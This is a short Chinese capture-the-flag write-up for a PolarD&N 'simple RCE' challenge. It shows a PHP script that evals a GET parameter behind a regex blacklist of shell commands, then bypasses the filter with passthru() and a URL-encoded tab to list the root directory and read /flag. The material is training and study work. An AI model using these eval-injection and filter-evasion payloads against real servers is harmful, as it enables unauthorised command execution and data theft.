polar CTF 简单rce

一、题目

<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
    return $txt;}
   else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
  eval(no($_GET['sys']));
  }
  else
    {echo "nonono";
}
?> nonono

二、解题
1、知识

passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。(替换system)

payload

get
?sys=passthru('ls%09/');

post
yyds=666

polar CTF 简单rce_第1张图片
payload

get
?sys=passthru('sort%09/flag');

post
yyds=666

polar CTF 简单rce_第2张图片

你可能感兴趣的:(CTF,web安全)